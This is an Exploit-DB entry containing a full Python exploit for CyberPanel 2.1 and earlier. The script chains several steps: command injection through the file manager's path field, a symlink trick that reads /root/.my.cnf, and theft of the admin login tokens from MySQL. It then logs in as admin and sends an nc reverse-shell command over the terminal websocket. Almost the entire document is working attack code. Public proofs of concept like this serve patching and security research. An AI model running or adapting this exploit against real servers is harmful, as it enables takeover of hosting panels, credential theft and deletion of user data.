CyberPanel 2.1 - Remote Code Execution (RCE) (Authenticated)

EDB-ID:

50230

CVE:

N/A




Platform:

Multiple

Date:

2021-08-27


# Title: CyberPanel 2.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 27.08.2021
# Author: Numan Türle
# Vendor Homepage: https://cyberpanel.net/
# Software Link: https://github.com/usmannasir/cyberpanel
# Version: <=2.1
# https://www.youtube.com/watch?v=J_8iLELVgkE


#!/usr/bin/python3
# -*- coding: utf-8 -*-
# CyberPanel - Remote Code Execution (Authenticated)
# author: twitter.com/numanturle
# usage: cyberpanel.py [-h] -u HOST -l LOGIN -p PASSWORD [-f FILE]
# cyberpanel.py: error: the following arguments are required: -u/--host, -l/--login, -p/--password


import argparse,requests,warnings,json,re,base64,websocket,ssl,_thread,time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from cmd import Cmd

warnings.simplefilter('ignore',InsecureRequestWarning)

def init():
    parser = argparse.ArgumentParser(description='CyberPanel Remote Code Execution')
    parser.add_argument('-u','--host',help='Host', type=str, required=True)
    parser.add_argument('-l', '--login',help='Username', type=str, required=True)
    parser.add_argument('-p', '--password',help='Password', type=str, required=True)
    parser.add_argument('-f', '--file',help='File', type=str)
    args = parser.parse_args()
    exploit(args)

def exploit(args):
    def on_open(ws):
        verifyPath,socket_password
        print("[+] Socket connection successful")
        print("[+] Trying a reverse connection")
        ws.send(json.dumps({"tp":"init","data":{"verifyPath":verifyPath,"password":socket_password}}))
        ws.send(json.dumps({"tp":"client","data":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1337 >/tmp/f\r","verifyPath":verifyPath,"password":socket_password}))
        ws.close()

    def on_close(ws, close_status_code, close_msg):
        print("[+] Successful")
        print("[!] Disconnect from socket")


    session = requests.Session()
    target = "https://{}:8090".format(args.host)
    username = args.login
    password = args.password

    print("[+] Target {}".format(target))

    response = session.get(target, verify=False)
    session_hand = session.cookies.get_dict()
    token = session_hand["csrftoken"]

    print("[+] Token {}".format(token))

    headers = {
        'X-Csrftoken': token,
        'Cookie': 'csrftoken={}'.format(token),
        'Referer': target
    }

    login = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":username,"password":password,"languageSelection":"english"})
    login_json = json.loads(login.content)

    if login_json["loginStatus"]:
        session_hand_login = session.cookies.get_dict()

        print("[+] Login Success")
        print("[+] Send request fetch websites list")

        headers = {
            'X-Csrftoken': session_hand_login["csrftoken"],
            'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]),
            'Referer': target
        }

        feth_weblist = session.post(target+"/websites/fetchWebsitesList", headers=headers, verify=False, json={"page":1,"recordsToShow":10})
        feth_weblist_json = json.loads(feth_weblist.content)

        if feth_weblist_json["data"]:

            weblist_json = json.loads(feth_weblist_json["data"])
            domain = weblist_json[0]["domain"]
            domain_folder = "/home/{}".format(domain)

            print("[+] Successfully {} selected".format(domain))
            print("[+] Creating ssh pub")

            remove_ssh_folder = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"path":domain_folder,"method":"deleteFolderOrFile","fileAndFolders":[".ssh"],"domainRandomSeed":"","domainName":domain,"skipTrash":1})
            create_ssh = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)})
            create_ssh_json = json.loads(create_ssh.content)

            if create_ssh_json["status"]:
                key = create_ssh_json["deploymentKey"]

                print("[+] Key : {}".format(key))

                explode_key = key.split()
                explode_username = explode_key[-1].split("@")

                if explode_username[0]:
                    username = explode_username[0]
                    hostname = explode_username[1]

                    print("[+] {} username selected".format(username))
                    print("[+] Preparing for symlink attack")
                    print("[+] Attempting symlink attack with user-level command execution vulnerability #1")

                    target_file = args.file
                    if not target_file:
                        target_file = "/root/.my.cnf"
                    domain_folder_ssh = "{}/.ssh".format(domain_folder)
                    command = "rm -rf {}/{}.pub;ln -s {} {}/{}.pub".format(domain_folder_ssh,username,target_file,domain_folder_ssh,username)
                    completeStartingPath = "{}';{};'".format(domain_folder,command)

                    #filemanager/controller - completeStartingPath - command execution vulnerability

                    symlink = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain})
                    symlink_json = json.loads(symlink.content)
                    
                    if symlink_json["status"]:
                        print("[+] [SUDO] Arbitrary file reading via symlink --> {} #2".format(target_file))

                        read_file = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)})
                        read_file_json = json.loads(read_file.content)
                        read_file = read_file_json["deploymentKey"]
                        if not args.file:
                            print("-----------------------------------")
                            print(read_file.strip())
                            print("-----------------------------------")

                            mysql_password = re.findall('password=\"(.*?)\"',read_file)[0]
                            steal_token = "rm -rf token.txt;mysql -u root -p\"{}\" -D cyberpanel -e \"select token from loginSystem_administrator\" > '{}/token.txt".format(mysql_password,domain_folder)

                            print("[+] Fetching users tokens")

                            completeStartingPath = "{}';{}".format(domain_folder,steal_token)
                            steal_token_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain})
                            token_file = domain_folder+"/token.txt"
                            steal_token_read_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"fileName":token_file,"method":"readFileContents","domainRandomSeed":"","domainName":domain})
                            leak = json.loads(steal_token_read_request.content)
                            leak = leak["fileContents"].replace("Basic ","").strip().split("\n")[1:]
                            print("------------------------------")
                            for user in leak:
                                b64de = base64.b64decode(user).decode('utf-8')
                                exp_username = b64de.split(":")
                                if exp_username[0] == "admin":
                                    admin_password = exp_username[1]
                                print("[+] " + b64de)
                            print("------------------------------")
                            print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
                            print("[+] Try login admin")

                            headers = {
                                'X-Csrftoken': token,
                                'Cookie': 'csrftoken={}'.format(token),
                                'Referer': target
                            }
                            login_admin = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":"admin","password":admin_password,"languageSelection":"english"})
                            login_json = json.loads(login_admin.content)
                            if login_json["loginStatus"]:
                                session_hand_login = session.cookies.get_dict()

                                print("[+] 4dm1n_l061n_5ucc355")
                                print("[+] c0nn3c71n6_70_73rm1n4l")
                                headers = {
                                        'X-Csrftoken': session_hand_login["csrftoken"],
                                        'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]),
                                        'Referer': target
                                }

                                get_websocket_token = session.get(target+"/Terminal", headers=headers, verify=False)
                                verifyPath = re.findall('id=\"verifyPath\">(.*?)</div>',str(get_websocket_token.content))[-1]
                                socket_password = re.findall('id=\"password\">(.*?)</div>',str(get_websocket_token.content))[-1]
                                print("[+] verifyPath {}".format(verifyPath))
                                print("[+] socketPassword {}".format(socket_password))
                                print("[+] Trying to connect to socket")
                                ws = websocket.WebSocketApp("wss://{}:5678".format(args.host),
                                    on_open=on_open,
                                    on_close=on_close)
                                ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE})

                            else:
                                print("[-] Auto admin login failed")
                        else:
                            print(read_file)
                    else:
                        print("[-] Unexpected")
                else:
                    print("[-] Username selected failed")
            else:
                print("[-] Fail ssh pub")
        else:
            print("[-] List error")
    else:
        print("[-] AUTH : Login failed msg: {}".format(login_json["error_message"]))

if __name__ == "__main__":
    init()